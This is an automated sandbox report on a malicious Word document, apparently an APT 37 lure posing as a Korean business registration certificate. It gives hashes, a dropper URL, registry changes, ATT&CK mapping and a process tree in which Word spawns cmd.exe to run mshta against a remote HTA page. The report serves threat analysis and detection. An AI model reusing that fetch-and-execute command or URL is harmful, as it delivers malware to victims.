b16ebaec337178a9f4c661d84a9998e453f4b693eab3e3fbc9bb6b957661f3c6

Analysis

max time kernel
145s
max time network
151s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21-03-2023 23:28

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General

Target

APT 37 Previous Commits 3/NEW(주)엠에스북스 사업자등록증.doc
Size

768KB
MD5

e89725778e52fa571a229cc6e65acd8d
SHA1

11e14587aa9e4c3039a214b21d63a616a32aa01b
SHA256

0474bb7c100c5187c838e5cf14969fdaf04ed541e373aa3b1ad607dd2b420a1b
SHA512

cf070d7c2cd2f2006b55da592f4db8758ec94d3608d91bebef3ba958ac34bbabffa7dc2f17f52a77349ea922e6efbd22fddb74b6aaadd37593be2f28c3bcbb82
SSDEEP

12288:5eNs9H0fEccVGYEOH1uW7vyaQaHbB/g+1ev/6d6htoWHdttOOJVYqTz:YeRcBc1u6tHHbm/QUoW9XOO8

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/10.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	520	1960	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

4 360 mshta.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
4	360	mshta.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1960 WINWORD.EXE
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

WINWORD.EXE

pid process

1960 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1960 WINWORD.EXE
1960 WINWORD.EXE

pid	process
1960	WINWORD.EXE

pid	process
1960	WINWORD.EXE

pid	process
1960	WINWORD.EXE
1960	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1960 wrote to memory of 520	1960	WINWORD.EXE	cmd.exe
PID 1960 wrote to memory of 520	1960	WINWORD.EXE	cmd.exe
PID 1960 wrote to memory of 520	1960	WINWORD.EXE	cmd.exe
PID 1960 wrote to memory of 520	1960	WINWORD.EXE	cmd.exe
PID 520 wrote to memory of 360	520	cmd.exe	mshta.exe
PID 520 wrote to memory of 360	520	cmd.exe	mshta.exe
PID 520 wrote to memory of 360	520	cmd.exe	mshta.exe
PID 520 wrote to memory of 360	520	cmd.exe	mshta.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\APT 37 Previous Commits 3\NEW(주)엠에스북스 사업자등록증.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c mshta http://attiferstudio.com/install.bak/sony/10.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:520

C:\Windows\SysWOW64\mshta.exe
mshta http://attiferstudio.com/install.bak/sony/10.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:360

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
Filesize
20KB

MD5
7f4dbf31428f09fe93efabe50c88457f

SHA1
ff6acb05aa2b88ffa157635e840a808914164462

SHA256
5022a438a0209c4644f4251e80a6b898696f2badba18b9ca73468cf6fbd1fb80

SHA512
57338624e9f70856d9051d46ceba4ea112c68c2c87cb77c56961782061aca43f08463fceda188a94449258bd3690b5f7463035852c8f128ea9e8da9e3f7d3f86

Download Submit
memory/1960-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1960-57-0x0000000000290000-0x0000000000390000-memory.dmp

Filesize
1024KB

Download
memory/1960-59-0x0000000000290000-0x0000000000390000-memory.dmp

Filesize
1024KB

Download
memory/1960-58-0x0000000000290000-0x0000000000390000-memory.dmp

Filesize
1024KB

Download
memory/1960-60-0x0000000000290000-0x0000000000390000-memory.dmp

Filesize
1024KB

Download
memory/1960-63-0x0000000000290000-0x0000000000390000-memory.dmp

Filesize
1024KB

Download
memory/1960-90-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download